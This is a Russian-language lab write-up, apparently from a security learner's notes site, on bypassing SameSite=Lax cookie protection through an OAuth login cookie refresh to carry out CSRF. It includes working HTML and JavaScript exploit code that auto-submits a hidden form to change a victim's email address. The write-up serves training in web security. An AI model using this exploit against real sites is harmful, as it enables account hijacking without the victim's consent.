> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-lax-bypass-via-cookie-refresh.md).

# Обход SameSite Lax через обновление cookie

### Обход SameSite Lax через обновление cookie

Функция изменения электронной почты в приложении уязвима к атаке CSRF. Цель лабораторной работы — принудительно изменить адрес электронной почты пользователя-жертвы, разместив демонстрацию на предоставленном сервере эксплойта.

<figure><img src="/files/eb3011960f9a3cd1e24b4dbde574929383d1082a" alt="" width="563"><figcaption></figcaption></figure>

Лабораторная работа поддерживает аутентификацию OAuth через внешнего провайдера. Вы можете подключиться с указанным идентификатором (`wiener:peter`). Во время процесса аутентификации для идентификации OAuth используется страница другого домена.

<figure><img src="/files/543c14004db1a36d45767b7553cbd23ad4ee2bdf" alt="" width="553"><figcaption></figcaption></figure>

`Вы успешно вошли в систему через свою учетную запись в социальной сети`

* После подключения через социального провайдера ответ содержит аутентификационную cookie, у которой `SameSite` атрибут установлен в `Lax`.

<figure><img src="/files/dadfab6b554c026bfd1277cd9d4cc59054af1a78" alt=""><figcaption></figcaption></figure>

Если вы выйдете из системы, а затем перезапустите поток аутентификации без повторного ввода пароля, сеанс сбрасывается: выдается **новая** cookie сеанса.

* → На практике это означает, что если пользователь нажал «выход», ему придется снова нажать «вход», чтобы быть перенаправленным на сайт и получить новую cookie сеанса.
* Благодаря такому поведению «обновления» cookie во время аутентификации через сторонний домен, можно рассмотреть последовательность, при которой первоначальный запрос к странице аутентификации позволяет восстановить/установить cookie сеанса, а затем второе действие (на стороне клиента) инициирует запрос, который изменяет электронную почту в учетной записи пользователя.

```html
<form class="login-form" name="change-email-form"
      action="https://0a6100a60304c671804803f0005200d7.web-security-academy.net/my-account/change-email"
      method="POST">
  <input type="hidden" name="email" value="hacked@byjordan" />
</form>

<script>
  window.open("https://0a6100a60304c671804803f0005200d7.web-security-academy.net/social-login", "_blank");
  setTimeout("document.forms['change-email-form'].submit()", 5000);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-lax-bypass-via-cookie-refresh.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
